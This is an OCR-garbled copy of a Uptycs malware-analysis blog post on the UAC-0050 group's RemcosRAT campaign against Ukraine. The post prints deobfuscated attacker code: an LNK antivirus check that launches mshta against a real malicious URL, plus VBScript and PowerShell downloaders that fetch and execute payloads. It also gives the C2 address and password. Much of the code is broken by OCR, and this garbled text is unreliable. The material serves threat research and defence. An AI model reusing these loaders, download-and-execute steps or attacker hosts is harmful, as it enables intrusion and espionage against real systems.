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Known for its history of relentless cyber-attacks against Ukrainian targets, the UAC-0050 threat group is at it again. But this
time, Uptycs researchers have discovered an advanced strategy that allows for a more clandestine data transfer channel,
effectively circumventing detection mechanisms employed by Endpoint Detection and Response (EDR) and antivirus

systems.

The group’s weapon of choice is RemcosRAT, a notorious malware for remote surveillance and control, which has been at
the forefront of its espionage arsenal. However, in their latest operational twist, the UAC-0050 group has integrated a pipe

method for interprocess communication, showcasing their advanced adaptability.

Leveraging pipes within the Windows operating system provides a covert channel for data transfer, skillfully evading
detection by Endpoint Detection and Response (EDR) and antivirus systems. Although not entirely new, this technique

marks a significant leap in the sophistication of the group's strategies.

Targeting the Ukrainian government, the UAC-0050's campaign hints at a politically motivated agenda with potential
geopolitical implications. The employment of RemcosRAT and the innovative use of pipe methods for data movement
spotlight the group's focus on stealth and intelligence gathering. While the possibility of state sponsorship remains

speculative, the group's activities pose an undeniable risk, especially to government sectors reliant on Windows systems.

This blog outlines the technicalities of the attack, providing expert analysis from our researchers at Uptycs. From
understanding the nature of pipes in Windows for interprocess communication to analyzing the real-world impact of these

advanced evasion techniques, we offer a comprehensive look into this sophisticated cyber-espionage operation.
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Initial investigation

Our Threat Research Team initiated an investigation after the Uptycs platform alerted to a suspicious .Ink file on December
21, 2023. Analysis revealed UAC-0050's deployment of RemcosRAT in a targeted cyber intelligence operation against

Ukrainian government agencies.

The initial attack vector is yet to be pinpointed, though indications lean towards phishing or spam emails, masked as job

propositions, targeting Ukrainian military personnel for consultancy roles with the Israel Defense Forces (IDF).

This deceptive tactic, as detailed in the document (Figure 1), involved roles centered around training IDF soldiers in modern

warfare techniques, reflecting a complex ruse to infiltrate military networks.
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Figure 1-RemcosRAT Military theme

Corroborating these findings, the Ukrainian government, in early December 2023, officially acknowledged a similar attack
pattern. As reported on their official website, this incident aligns with the modus operandi of UAC-0050, further solidifying

the group's persistent and calculated application of RemcosRAT in their cyber-espionage endeavors.

Malware operation

The LNK file is responsible for initiating the download of an HTA file. Within this HTA file lies a VBS script that, upon
execution, triggers a PowerShell script. This PowerShell script endeavors to download a malicious payload
(word_update.exe) from a server. Upon launching, word_update.exe executes cmd.exe and shares malicious data through a
pipe. Consequently, it leads to the launch of explorer.exe with the malicious RemcosRAT residing in the memory of

explorer.exe.
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Figure 2—RemcosRAT workflow

Technical analysis

The investigation begins with a .Ink file. A .Ink file is a Windows shortcut that points to another file, folder, or application. It
allows users to access the linked resource quickly without navigating to its location. Cybercriminals can create .Ink files
that, while appearing to be shortcuts to legitimate applications or documents, actually point to and execute malicious

software.

In this case, the malicious .Ink file gathers information regarding antivirus products installed on the target computer. It
verifies if the display name corresponds to 'Windows Defender'. If so, it proceeds to replace the term with an empty string.
As a result, the condition within the ‘if” statement becomes false, preventing the execution of the ‘exit’ statement.

Consequently, the script seamlessly continues with any subsequent code.

$bIXmsjq = Get-WmiObject -Namespace 'root\SecurityCenter2' -Class AntiVirusProduct -ComputerName S$env:computername;
foreach ($QSkPiHV in $bIXmsjqg )

{

if ($QSkPiHV.displayName -replace 'Windows Defender', ''){ Exit}

}i

AWA\\*2\\\\msh*e '??ht??t?p?://new-tech-savvy.com/6.h???t??a"'.Replace('?"',"'")

Figure 3-LNK file

Towards the end of the .Ink file, the threat actor has obfuscated the URL string. Upon deobfuscation, the string is then

executed using MSHTA. The execution code is provided below.

c:\windows\system32\mshta.exe" http[:]//new-tech-savvy[.]Jcom/6][.]hta

We retrieved the 6.hta file for analysis, discovering that it contains a VBScript file with fully obfuscated script content.
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Figure 4-HTA file contains Vbscript

Following the successful deobfuscation of the VBScript, we obtained a PowerShell script. The snapshot below illustrates the

deobfuscated code result.
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The PowerShell script below represents the deobfuscated flow:

1. It initializes a string encoded in Base64, referred to as $lcjcj, and a second Base64-encoded string denoted as
$VZnHIGNa.

2. It creates an AES decryption object $WrwQUj with specific properties such as CipherMode, PaddingMode,
BlockSize, KeySize, and Key, using the Base64-decoded value of $VZnHIGNa.

. It extracts the initialization vector (IV) from the payload.

It creates a decryptor and decrypts a portion of the payload using AES.

It creates memory streams and a GzipStream to decompress the decrypted payload.

It converts the decompressed payload into a byte array.

. It converts the byte array to a UTF-8 string.

. It uses the | powershell - syntax to execute the decrypted payload as a new PowerShell process.

. The actual payload is contained in the variable $hQkGkZK. This payload is the result of executing the PowerShell
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code contained within the original Base64-encoded string $lcjcj
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Figure 5-Uptycs alert: MSHTA execution with internet

The outcome ($hQkGkZK) of the deobfuscated process yielded another PowerShell script containing encoded data, as

depicted in the snapshot below.

Function drU(ByVal Inc
Dim gxd
Dim caz
caz = s81
Dim ¥gw
¥gw = yEj (Inc)
I£ Ygw = 7000 + 1204 Then
For Each gxd In Inc
Dim WK
WzK = WzK & Chr(gXd - caz)
Next
End If
aru = wax
End Function
Function qOT ()
Dim Inc
Din EAg

EAg = "powershell.exe -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' —Wi hidden ist|(/c l.exe $lcjej =
T 77503 o 170jgzL 71 18u7h2
MMzJQrblDe 1mSgZHTA ‘967 ENRMBUTUPa/ TYFkKM, TYI+HOi OmK3 SVLENT1SR+NEYOe/8aUZ 1+ Icaji i I700SpPIXIEX3p+bvbwr
EX1Jm6+MMiD/TPOGHS +GQs1l 14 5sN9+z4 5 o '1/LT2K1: 1hEV: Ldhw
CSVECrtigrUNz1163 iuQDa2vRST740VLuXhOSIXCNHKS Sgi ToCzrKHLeil Sysxap KN22T15 3 1evaNsIRg
zaDMGSCldFPlOZUSanlvszlJJVSOzzgrJTyIkeQN/T7Ku6cw1;2foH§7asknIw1FNY4dux2VVEEQxM6K1tszc‘FLJ!beIEexLz¢ZFI9FUDSD;EE1 =
DR/+pBEzIUéJ:zx&;EMxY+RZOIszen/15vP ;$VZnHIGNa = * 1Uv2p2el ;$WrwQUj = New-Object ' it owaQUj Mode =
[syst. 1: j.Padding = [Syst ity. -PaddingMode] : : Zeros; SWrwQUj . Blocksize = 1ze SWZwQU3.KeySize = 256;SWruQuj.Key =
layatem. comvere]s wz,mma, toxga = (systen.conver]: fng (510303 3 SminntCEE = SEXGaL(0. 13];5WEVOU] IV = SminntCEE; SupeabSYLT =
SWrwou3 1Block ($pXgai, 16, SEXgai.Lengt 16) ; $WrwaUj . Dispose () ;$AEoqas = New-Object System.IO.MemoryStream( , SayVEWybDT
T oReren = mewaniace eyteon. 10 lhenaTyTrtan] smatyeoin < Wow-aniece Syatom. 50.comprosaion BeieBtrest] nzeges, ((ror - a1 e CopyTo( SReves
) 7 $ssuCyzDxn.Close () ; $AEogae.Close () ; [byte[]] SCuCoXVRy = SReYcU.ToArray(); ShOKGKZK = [System.Text.Encoding]::UTFS ing (SCUCGKVRY) ; ShORGRZE | powershell - }”
Din Rae

Set Rae = vOJ(drU(Array (668, 696, 680, 695, 686, 693, 697, 627, 664, 685, 682, 689, 689) ) )
Rae.Run (EAg) , 0, true
self.close ()
End Function
Function yEj (Byval Yqw)
YEj = VarType (Ygw
End Function
Function vOJ(ByVal objectType:
Set vOJ = CreateObject (objectType!
End Function
0T ()

Figure 6-Powershell script

1. It creates file paths by leveraging the user's AppData directory and specific file names.

2. It verifies the existence of particular files (word_update.exe and ofer.docx) using Test-Path.
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3. If these files are present, it invokes the DcO function to carry out actions based on the file extensions. In the absence
of these files, it utilizes the JWF function to download data, writes it to a file using JBH, and subsequently calls DcO

to perform actions based on the file extensions.

function JBH(50Gd, $UIM) (
[10.File]::WriteAllBytes(S0Gd, $U3M)

}

function DcO($0Gd) {

if (S0Gd.EndsWith((HrL @(3574,3628,3636,3636))) -eq $True){ rundll32.exe §ocd} > if filename extension ending in ".dll," it is executed using rundil32.exe
elseif (SoGd.EndsWith((HrL @(3574,3640,3643,3577))) -eq S$True){ powershell.exe -ExecutionPolicy unrestricted -rile $ocd} —> If filename extension ending in ".ps1,” it is executed using powershell.exe
elseif ($oGd.EndsWith((HrL @(3574,3637,3643,3633))) -eq $True){ misexec /qn /i $oGd} --> if filename extension ending in ".exe," it is executed using misexec.exe.
else { Start-process SoGd 1}
function JWF($3Vs){ -> payload downloading function

$Fzf = New-Object (HrL @(3606,3629,3644,3574,3615,3629,3626,3595,3636, 3633, 3629, 3638,3644))
[Net.ServicePointManager] : : SecurityProtocol = [Net.SecurityProtocolType]::TLS12
$U3M = §$Fzf.DownloadData ($3Vs)
return $U3M
}
function HIL($1UX) {
$AVN=3528
$BIX=$Null
foreach($BKV in $1UX) { $BIX+=[char] (SBKV-$AVN) } return $BIX }
function WON() {
$10J = Senv:AppData + '\'
$xSzFgBICUDaU = $LOJ Payload Name
if (Test-Path -Path $XSZFEBICUDIU
DCO $xSzFQBICUDAU
}
Else(
SYEEIVeRSgTSs = JWF (HrL
@(3632, 3644, 3644, 3640, 3586, 3575, 3575, 3638, 3629, 3647, 3573, 3644, 3629, 3627, 3632, 3573, 3643, 3625, 3646, 3646, 3649, 3574, 3627, 3639, 3637, 3575, 3647, 3639, 3642, 3628, 3623,
3645, 3640, 3628, 3625, 3644, 3629, 3574, 3629, 3648, 3629) ) > payload downloading URL
JBH $xSzZFQBICUDaU $YEEIVERSjgTSs
DcO $xSzFgBICUDaU

SFDofKIawKhYH = $LOJ + Payload Name
if (Test-Path -Path $FDofKIawkhYH)( DcO $FDofKIawkKhYH }
Else{

$COZLGEafXCUPY = JWE (HrL
(3632, 3644, 3644, 3640, 3586, 3575, 3575, 3638, 3629, 3647, 3573, 3644, 3629, 3627, 3632, 3573, 3643, 3625, 3646, 3646, 3649, 3574, 3627, 3639, 3637, 3575, 3639, 3630, 3629, 3642, 3574,
3628,3639,3627,3648)) > payload downloading URL
JBH SFDOfKIawKhYH $COZLGEafxCubY
DCO SFDOfRIaWKhYH
} } WoN

Figure 7—Powershell script and payload execution

Uptycs captured all PowerShell activities deemed suspicious, presenting the de-obfuscated content in the snapshot.
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Figure 8-Uptycs alert: powershell suspicious entry

The payloads, namely word_update.exe and ofer.docx, are downloaded from the domain new-tech-savvy[.]Jcom.
The payload files(Doc,exe) are placed in the root of the roaming folder(%appdata%).

Payload

Request for downloading word_update.exe.
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T Windows Powershell ISE

\File Edit View Tools Debug Add-ons Help
DER4«EO0M»90 0| = 86500 o@.
Unm\edll.ps'l [Read Only] | Untitled ps1 [Read Only] X

misexec /an /i SoGd

22

23 |}

24 Efunction JWF($jvs){

25 $Fzf = New-Object (HrL @(3606,3629,3644,3574,3615,3629,3626,3595,3636,3633,3629,3638,3644))
26 [Net. ServicePointManager] : se:untywato::ﬂ 27 [Net.SecurityProtocolType] : :TLS12

27 UM = $Fzf.DownloadDatal

23

29 return SUM $jVs = http://new-tech-savvy. com/word_t upda‘te exe

http: //new-tech-savvy. com/word_update.

31 Efunction HrL(STUX){
$dVN=3528

T e = T
w
B

33 $BIX=$Null

34 Foreach($BKV in $1UX){

35 $BIX+=[char] ($BKV-$dVN)

36 ¥

38 write-output $BIX

39

40 return $EIX

41

42 Zfunction WONQ){

43 SLOJ = Senv:AppData - -\

P
45 write-output SxSzFgBICuDal

46 if (Test-Path -Path SszFGEICuDau){
47 write-outpu "mytest

48 write-output SxSzFgBICuDau

49 DO $x52FqBICuDal

50 3

51 Else{

52

53 write-output SyEEIVeR5]gISs

54 JBH $xSzFaBICuDal SVEEIVeRSiaTSs

Figure 9-Downloading executable payload

Upon running word_update.exe, it generates a self copy file in a newly created folder within the roaming

directory(%appdata%). However, the name of the self copy file is altered.
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Figure 10-Uptycs alert: Process execution from AppData folder
C:\Users\<username>\AppData\Roaming\WordpadService\fmTask_dbg.exe

The malware established persistence by creating an entry in the startup folder through the generation of an LNK file.

Consequently, fmTask_dbg.exe is executed each time the machine is booted.

C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fmTask_dbg.Ink
The file contains unusual resource data, which is then transferred to memory, and the content undergoes decryption through

XOR operations. This is the first level of decryption.

~ 73 1E jas word_update.D&60ET
B55 08 mov edx,dword ptr ss:|febp+s]

0355 F5 add edx,dword ptr ss:[ebp-&]
8955 F4 mov dword ptr ss:|[ebp-c],edx
SE45 F4 mov eax,dword ptr ss:|febp-C[]
BBOS mov ecx,dword ptr ds:[eax]
894D FO mov dword ptr ss:[ebp-10],ecx
8B5S FO mov edx,dword ptr ss:|[ebp-10]
3355 10 ®or edx,dword ptr ss:ebp+10]
BE45 F4 mov eax,dword ptr ss:febp-Cli
8910 mov dword ptr ds:[eax],edx

~ EB D1 Jjmp word_update DBEOBB

Figure 11-Xor loop

Following this, it invokes the WriteFile API function, where the file handle is denoted by 0x59c, pointing to an unnamed
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file: \filesystem\npfs. Unnamed pipes necessitate the passing of their handles to the corresponding communicating processes

to facilitate the exchange of data.

File Unnamed file: \FileSystemiMpfs 0x594
File Unnamed file: \FileSystemiMpfs 0x59c

Figure 12—-Handle of unnamed pipe object in which data written by WriteFile API

Threat actors often resort to techniques such as process injection or hollowing to execute malicious code within authentic
processes. However, employing a clever strategy, attackers leverage pipes to effectively bypass detection by EDR/AV
systems. Initially, the malicious actor spawned a legitimate child process, cmd.exe, using the CreateProcess API without
activating the suspended mode. Subsequently, the attacker implemented a plan to move the decrypted output data from the

first level (depicted in Figure 11) to cmd.exe.

< [0 [#) Lateral Movement 0 Powershell |49 &5 Network 0 &7 Api 502 L3 Rec (0 © Amsi 8 2 wmi 0 [E syscall 0 A

APl v Args PID Path Command

createpipe
CreatePipe {™hReadPipe":™ , "*hWritePipe": "0| . c‘\users\-\appdala\ruammg\wur "c:\users\-\appdata\maming\word_updatﬁ-exe"
CreatePipe {™*hReadPipe": ,"hWiritePipe" :"0] ciusers I app aming\wor " ] _update.exe”

Figure 13-Uptycs event alert: Createpipe write event

This process was executed through the WriteFile API, utilizing a handle directed at an unnamed pipe. Upon successful
completion, the data was transmitted from word_update.exe to cmd.exe. Figure 14 visually represents the memory of

cmd.exe with Read-Write protection, housing the malicious data shared through the pipe.

% Refresh ([} Options ‘ &8 Find handles or DLLs  2#% System information | O&E X Search Processes (Ctrl+K) L0
Processes  Services Metwork Disk

B8 cnd.exe 2 [m} % P.. Username Description

B NTAUTHORITY\SYSTEM
Qogoaoon Ef 49 0b d7 la 3c 63 44 fb 78 38 e6 B8a 97 a2 2e .I...<cD.x8..... - B NTAUTHORITASYSTEM NT Kernel & System
00000010 27 20 0b cl 08 78 30 94 22 99 a3 21 8f 7c 8% 77 " ...x0.". |.w B T S
00000020 ee 28 4b 35 92 be b2 45 c% 7d c3 2e b3 ec 49 d7 .(K5...E.}....I. 9
00000030 b4 4f 4f be dl 47 37 £4 9e a0 48 €9 7e 25 b6 fb .00..G7...Hi~%.. 4 g ntermptsand DGs
00000040 £d 5d e2 2a £fb 25 4d b0 42 b0 66 cf ab 60 co aé .].*.3M.B.f.. .. RemcosRAT is encrypted
00000050 71 b0 al 76 78 98 lc 34 €5 50 ad &b d5 82 54 €5 g..vx..d.B.k..T. B Client Server Runtame Pitcess
00000060 a6 51 =0 cl 83 & d b3 a2 8d de 44 53 01 e2 26 .Q...J..... DS.. -
UDDDD‘O;O :; S 228 o S = =0 = B Windows Start-Up Application
00000080 d2 B Client Server Runtime Process
00000090 18 B Windows Legon Application
gggggg;g si B Usermode Font Driver Host

( c! -
Q00000e0 b B Desktop Window Manager
00000040 £f VB Windows Explerer
00000020 &2 B Windows Security notification...
g;;;gfgg :9 B VirtuzlBox Guest Additions Tra...
00100 Se
00000110 63 08 €7 24 &6 41 9d ce 1% o3 51 06 Oa E (sl By
00000120 24 3d 8d 08 b4 ec 3a 8a 42 71 82 ad a3 B Microsoft Edge
00000130 82 e4 b0 64 17 4e bl 06 35 43 19 £4 44 B Microsoft Edge
00000140 35 db ba £0 b5 ee 37 b6 b6 62 72 15 03 e Microsoft Edge
00000150 01 d% 52 cl b4 58 59 37 8c % 23 bb a= 9
00000160 20 4f cd 31 98 85 9f Sc cé 37 54 24 2d B Microsoft Edge
00000170 a2 fe 4d 94 46 c5 d3 a% Tb 28 b3 dé 1d B
aé 75 86 €b dd B Process Hacker
B Geogle Crash Handl
T oogle Crash Handler
B Google Crash Handler

BH conhost.exe 6.6 MB Ceonscle Window Host

Figure 14— Data moved to memory of cmd.exe

The data in the memory is decrypted during runtime and initiates the execution of the Remcos Remote Access Trojan (RAT).

After that launch explorer and moved malicious data in that memory.

Page 7 of 14



https://learn.microsoft.com/en-us/windows/win32/ipc/interprocess-communications

https://www.uptycs.com /blog/remcos-rat-uac-0500-pipe-method

00000000 e
00000010 27
00000020 ee 23
00000030
00000040
00000050
00000080
00000070
00000080
00000080 18
00000020
000000B0 g5

45 a7
cl 08 78

35

38 2e

7

e6 &

2a
76
cl &
91
38

.]-*.8M.B.f.

-0..

45

5a
ad

g..vX..4.P. k.. T.

L v

User name
B NTAUTHORIT\SYSTEM

L= = = ==

— RemcosRAT

000000c0 b
000000d0 pe
0000000 fo
000000£0 po
00000100 po
00000110 B1 b8
ooooo120 1
00000130
00000140
00000150
00000160
00000170
00000180 fd
00000190 fd
000001a0

14
[ulu]
Qo

00 o8
dc

cd .

20
0o
Te

Te
7f
7f
Je

7f
Te
I1f

'..L.!'This progr
am cannot be run
in DOS mode....

Write

Reread Go to...

| BS conhost.exe

6.63 MB

Description

MNT Kernel & System
Windows Session Manager
Interrupts and DPCs

Client Server Runtime Process
Windows Start-Up Application
Client Server Runtime Process
Windows Logon Application
Usermode Font Driver Host
Desktop Window Manager
Windows Explorer

Windows Security notification...
VirtualBox Guest Additions Tra...
Microsoft Edge

Microsoft Edge

Microsoft Edge

Microsoft Edge

Microsoft Edge

Process Hacker
Google Crash Handler
Google Crash Handler

Console Window Host

|CPU Usage: 4.35%  Physical memory: 1.81 GB (45.27%)

Figure 15-Remcos binary in the memory of cmd.exe (RW)
The Remcos execution flow from word_update.exe.

= &% word_update exe (7800)
= g% cmd exe (1908)
w Conhost exe (2644)
“tu explorer.exe (8516)

“C:\Users\
C:\Windows\SysWOW6&4\cmd exe

Figure 16—Remcos execution flow from word_update.exe

Uptycs capture of the explorer.exe with malicious activities.

Processes: 117

‘\AppData‘\Roaming\word_update exe"

\2MC:A\Windows \system32\conhost exe Qffffffff -ForceV1
C:\Windows\SysWOWE4 \explorer exe

SystemFolder\Whit ...
Windows Comma...
Console Window ...
Windows Explorer

7 Tactics
13 Techniques

1 11 Alerts
47 Events

Advanced Threat

8

© 10110

12/22)
12/22)

SIGNALS ~ DETECTION GRAPH

Select
high, medium,low ~ ~

WALK THROUGH

{7J explorerexe (Process)

Yara rule match on process memory (1)

TA0002 - EXECUTION - WINDOWS
Monitored application spawns explorer.exe (1)

T1082 - SYSTEM INFORMATION DISCOVERY - WINDOWS
ing to get i i

+1more Alerts/Events

12/22/20231737:29

12/22/202317:3558

12/22/20231736:07

Events for all processes 3RS

Figure 17-Uptycs alert: Explorer.exe with malicious activity

Remcos binary

Process id 3528

Process name explorerexe

Upon extracting the binary from cmd.exe memory, we obtained the RemcosRAT payload. Within the payload's Resource

section, there is an RCDATA that stores data encrypted using RC4.
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Figure 18—-RC4 encrypted data in RCDATA

By utilizing CyberChef, we decrypted the data, revealing the configuration file of RemcosRAT.
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nput format

Hex

Passphrase

8F CD E1 87 12 7D.. EXT

Qutput format
Latin1

Remove null bytes

230

me 3413 F 1

Tr row Bytes

Output

194.87.31.229:6438: 1% | =% |RemoteHost | %[ 1] %
|remcos.exe| | === ]@|~~*|Rmc-DELMCO |

s | | ] |Screenshots | %=
|MicRecords | =nu| | =ux]o] nrn @] | e

%% | €59040173F639B6EACCT209E2E9FEB7A | %%

Figure 19—-Cyberchef decryption
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Configuration:

C2 Host: port:password: 194.87.31.229:6438:1
Botnet: RemoteHost

Mutex: Rmc-D6LMC9

copy file: remcos.exe

copy folder: Remcos

Keylog folder: Remcos

Screenshot folder: Screenshots

Keylog file: logs.dat

The Remcos version identified is 4.9.2 Pro, and it has successfully gathered information about the victim, including the

computer name and username.

RemcosRAT removes cookies and login data from the following browsers: Internet Explorer, Firefox, and Chrome. This

action aids in preventing the recording of malware entries on the victim machines.

\appDiatatLocal\Googleh Chiome\User Data\DefautiLogin Data
UserProfile:

[Chiome StoredLaging not found]

[Chiome StoredLogins found. cleared!]
\AppDiatatLocal\GooglehChiome\Liser Data\DefauliCookies
[Chiome Cockies not found]

[Chrome Cockies found, cleared]
\AppData'Flaaming\Mazila! Fiefort Proflest

[Firefox StoredLagins not found]

Nogins.json

\key3db

[Firefox: StoredLogins Cleared]

[Firefox Cookies not found]

\cookies.sglie

[Firefos: cockies found. clearedl]

Cookies

User Shel Folders

[IE cookies not found]
[IE cackies cleared]

[Cleared browsers logins and cookies.]
Cleared browisers logins and cookies.

Figure 20-Browser data
It configures registry values for the executable path, license, and time associated with the thread.

File Edit View Favorites Help
Cnmputer\HKE"r’_CURRENT_USER\.SOI-—I"."MRE‘IRmc-D6LMC9|

A Name Type Data
ab]| (Default) REG_SZ fvalue not set)
ab| hgtgeqp REG_SZ C
54 by REG_BINARY b 1648 4...
7] uabe REG_DWORD o

Figure 21—Registry key

Request for downloading ofer.docx.

Page 10 of 14



https://www.uptycs.com /blog/remcos-rat-uac-0500-pipe-method

B Windows PowerShell ISE
File Edit View Tools Debug Add-ons Help

B4 mox|oo[r 0|« 8(Boo|m@m.

[ Untitled4.ps [Read Oniy] | UntitiedS.ps1 [Read Only] X ]
11

12 = elseif ($oGd.EndsWith((HrL @(3574,3640,3643,3577))) -eq STrue){

13

14 write-output “mypawer”

15 powershell.exe -ExecutionPolicy unrestricted -File SoGd

16

17 & elseif ($oGd.EndsWith((HrL @(3574,3637,3643,3633))) -eq $True){

18

19 write-output "mymise”

20 misexec /an /i $oGd

21 3

2

23 |}

24 mfunction JWF(Sivs){

25 §F2f = New-Object (HrL @(3606,3620,3644,3574,3615 3629, 3626, 3595,3636,3633, 12629, 3638, 3644))
26 [Net.ServicePointManager] : :Secur i tyProtoco] = [Net.SecurityProtocolType] -
27 UM =

$3Vs = http://new-tech-savvy. tnm/nfer‘ docx

29 return $UIM
http://new-tech-savvy. com/of er.doc

31 gfunction HrL(STUX){
$dvN=3528

33 SBIX=SNull

34 [ foreach ($BKV in_S1UX){
35 $BIX+=[char] ($BKV-$dvN)
36 3
37
38 write-output SBIX
|39
40 return $EIX
a1
42 function WONQ{
43 $L0J = $env:AppData + "\'
44
as write-output $x5zFqBICuDal

Figure 22—-Downloading document payload

Dropped file alert from uptycs.

o TA0002 - EXECUTION - WINDOWS 2.5/10 [E3}

MS Office or scripting engine dropped archive file

0 MS Office or scripting engine dropped archive file - TAOOO2 -

~ Signals (1) : C:\users\[Hllllhappdata\roaming\oferdocx Execution - Windows
25 o T1560 - ARCHIVE COLLECTED DATA - WINDOWS Code: ATTACK_EXECUTION_T1560_WINDOWS_ARCHIVE_MS_OFFICE_SCRIPTING_FIM
PowerShell or its child process dropped archive file »  Technigues
~ Signals (1) : C:\users\ [ \appdata\roaming\oferdocx €3 powershell -
Command line powershell -
Destination path

Cusers\ I appdata\roaming
‘oferdocx

File path

Integrity level MEDIUM
Login name -
Magic header 504b0304140008080800

Operation write

Figure 23-Uptycs alert: Dropped doc file

After the download of ofer.docx is complete, it is executed using winword.exe.This file does not contain macros; instead, it

displays a defensive message from a consultant to the Israel Defense Forces (IDF).
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Iapai.
Bavorm:
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Figure 24—Document File with Ukrainian language and Defense theme

onnel of the Armed Forces of Ukraine with combat e and/c ence in commanding

and/or command

- training and a g sc ¢ the ¢ Forces on current methods of warfare
Condi’

- high level of
C bi of

e from the

Figure 25-Translated word document

Initially, virustotal did not detect any instances of word_update.exe. However, at the same time, Uptycs XDR detected
RemcosRAT.

v) No security vendors and no sandt this file as malicious (> Reanalyze = Similar ~ More ~

©4615b74d62f384d23e58bc467¢615b17779e4f8084c8a0134db97a5e642027f Size %(‘
SystemFolderWriteApp.exe 14.59 MB 1day ago EXE

peexe  corrupt

Community Score

DETECTION DETAILS RELATIONS COMMUNITY

Figure 26-Virustotal detection
Uptycs XDR coverage

Uptycs XDR demonstrates robust detection capabilities, featuring built-in YARA support and advanced functionalities for
identifying threats such as RemcosRAT. Users can efficiently scan for potential risks, leveraging the contextual detection
power of XDR to access crucial details about detected malware. Navigating to the toolkit data section within the detection

screen allows users to easily explore comprehensive profiles of identified items.

Additionally, Uptycs excels in addressing cybersecurity threats by providing the capability to decode and decrypt obfuscated
PowerShell scripts, expanding its arsenal for thorough threat detection and mitigation. A notable highlight is the detection
graph presented on the detection page, offering a dynamic visual representation of process relationships, including

interconnected files, sockets, and lateral movements during an incident.
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1 11 Alerts 7 Tactics Advanced Threat
O 10/10 4 I F13 (G = ACTIONS §
4T Events 13 Techniques 2
SIGNALS ~ DETECTION GRAPH CONTEXT ACTIVITIES
Showing Sortby
- ; . ° - i
W ATTECK Matrix @  sgsignals Gow Al v Time~  Search Clear filters % Toolkits (1)
(P1PIRID [eD]
10@  Yararule matchon process memory Name REMCOS RAT
’ . Remcos is a Remote Access Tool
v Signals (1): Uptycs_Remcos_v3 Overview developed for surveillance purposes

byacompany - Breaking Security.
@  71059.001-EXECUTION-WINDOWS

P i from mont ications  +1 Remcos is a R

v Signals (2): i 0 exe

30 () [T1027-OBFUSCATEDFILES OR INFORMATION - WINDOWS Description

PowerShell obfuscated base64 data +1

v Signals (2): i 0 exe

@  71027-OBFUSCATED FILES OR INFORMATION - WINDOWS
Reference
PowerShell decoding/encoding base64 data +1 Links

v Signals (2): i 0 exe

10 () | T1059.003-EXECUTION-WINDOWS

> "
a Detected use of cmd.exe to copy files to network share :" et Eroug Profiles2)

Figure 27-Uptycs detection

Conclusion and precaution
To defend against malware attacks like the RemcosRAT, it is recommended to:

 Utilize sophisticated email filtering solutions to autonomously identify and eliminate spam messages prior to
reaching users' email inboxes.

¢ Refrain from clicking on hyperlinks or opening attachments in emails identified as spam.

¢ Deploy network monitoring tools to identify abnormal communication patterns that could signal the presence of
remote access tools.

» Consistently examine and secure system configurations, verifying that superfluous services and startup entries are
either disabled or closely monitored.

¢ Leverage tools based on behavioral analysis to identify unusual activities that may suggest attempts by RATs to

establish persistence or communicate with command and control servers.

10C

File Name MD5

Lnk file 56154fedaa70a3e58b7262b7c344d30a
6.hta 9b777d69b018701ec5ad19ae3f06553f
ofer.docx 74865c6c290488bd5552aa905c02666¢
word_update.exe 7¢05cfed156f152139a6b1f0d48b5cc1
fmTask_dbg.exe 7¢05cfed156£152139a6b1f0d48b5cc1
Remcos 0b2d0eb5af93a3355244e1319e3de9da
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Related hash
File Name MD5
Lnk 7t87d36c989a11edf0de9af392891d89
Lnk f5ee6aa31c950dfe55972e50e02201d3
Lnk 5c734bble41fab9c7b2dabd06e27bc7b
shablon.hta 1c3ele0319dc6aa24166d5e2aaaect75
zayava.docx 818beece85ecd90d413782dd51d939b1
Psl 8158b43f745e0e7a519458b0150e1b61
Psl £71ef85824906856cb3d2205058bdd2
Ps1 8bebea01d914a3c3a2d876417f7d1d54
Remcos b1f8484ee01a7730938210ea6e851888
URL

cluster00<X>[.Jovh[.]net
194[.187.31[.]1229

46[.]249.58[.]40
new-tech-savvyl[.]Jcom/6.hta
new-tech-savvy[.]Jcom/5[.]hta
new-tech-savvyl[.]Jcom/algo[.]hta
new-tech-savvyl[.]Jcom/shablon[.]hta
new-tech-savvyl[.]Jcom/word_update[.]exe
new-tech-savvyl[.]Jcom/zayaval.]docx

new-tech-savvy[.]Jcom/ofer[.]docx

Read more blogs from our Threat Research Team to discover the latest

threat intelligence and defensive measures.

Source: https://www.uptycs.com/blog/remcos-rat-uac-0500-pipe-method

Page 14 of 14


https://www.uptycs.com/blog/tag/threat-intelligence

